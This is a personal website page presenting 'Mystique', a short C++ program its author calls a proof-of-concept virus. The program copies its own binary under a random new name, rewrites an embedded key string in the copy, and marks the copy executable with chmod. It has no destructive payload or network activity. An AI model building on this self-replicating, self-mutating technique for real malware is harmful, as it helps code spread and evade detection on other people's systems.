Ben Barth .com

Home Projects Personal Contact

Mystique

Download

Source Code

// mystique
// A proof of concept virus that manipulates itself.
//
// Author: Ben Barth (benbarth.com)

#include <cstdlib>
#include <iostream>
#include <sstream>
#include <fstream>

class key {

    private:

    std::string fullString;
    std::string newKey;
    int fullStringLength;
    int idLength;
    int keyLength;


    public:    

    // Constructor
    key() {
        fullString = "Unique Key: mystique";
        newKey = "";
        fullStringLength = fullString.length();
        idLength = 12;
        keyLength = fullString.length() - idLength;
    }

    // Gets the key id
    std::string getId() {
        return fullString.substr(0, idLength);
    }

    // Get the current key
    std::string getCurrentKey()
    {
        return fullString.substr(idLength, keyLength);
    }

    // Sets the new key
    void setNewKey(std::string myKey)
    {
        newKey = myKey;
    }

    // Gets the new key
    std::string getNewKey()
    {
        return newKey;
    }

    // Returns a random key
    std::string generateRandomKey() {
        srand((unsigned)time(0));
        int random_integer;
        std::stringstream ss;

        for(int index=0; index<keyLength; index++) {
            random_integer = (rand()%9)+1;
            ss << random_integer;
        }

        return ss.str();
    }

    // Spawn the application
    void spawn() {

        char* iKey = (char*)getCurrentKey().c_str();
        std::ifstream ifile(iKey, std::ios::binary);

        ifile.seekg(0, std::ios_base::end);
        int ifileLength = ifile.tellg();
        char *buffer = new char[ifileLength];
        ifile.seekg(0);
        ifile.read(buffer, ifileLength);
        ifile.close();

        std::string txt(buffer, ifileLength);

        delete[] buffer;

        size_t off=0;
        while ((off=txt.find(fullString, off)) != std::string::npos)
        {
            txt.replace(off,fullStringLength, getId() + generateRandomKey());
        }

        std::ofstream ofile(getNewKey().c_str());

        // Change file mode to executable
        std::string chmodString = "chmod +x " + getNewKey();
        system(chmodString.c_str());

        ofile.write(txt.c_str(),txt.size());

    }

};

int main(void)
{

    // Create a key
    key myKey;

    // Display the current key
    std::cout << "Current Key: " << myKey.getCurrentKey() << std::endl;

    // Change the key
    myKey.setNewKey(myKey.generateRandomKey());

    // Display the new key
    std::cout << "New Key: " << myKey.getNewKey() << std::endl;

    // Spawn
    myKey.spawn();

    return 0;

};

[top]

Welcome to benbarth.com. The website is constantly improving! So please, come back soon to see the improvements.

"Men who only believe their depravity, but do not hate it, are no further than the devil on the road to heaven." -Charles Spurgeon


Brandon Wells

Fareed Quraishi - Deluxe Squishi

Conestoga College


The Weather Network - Kitchener, Ontario:
A few clouds, 23 °C , Humidity 50% , Wind NW 9km/h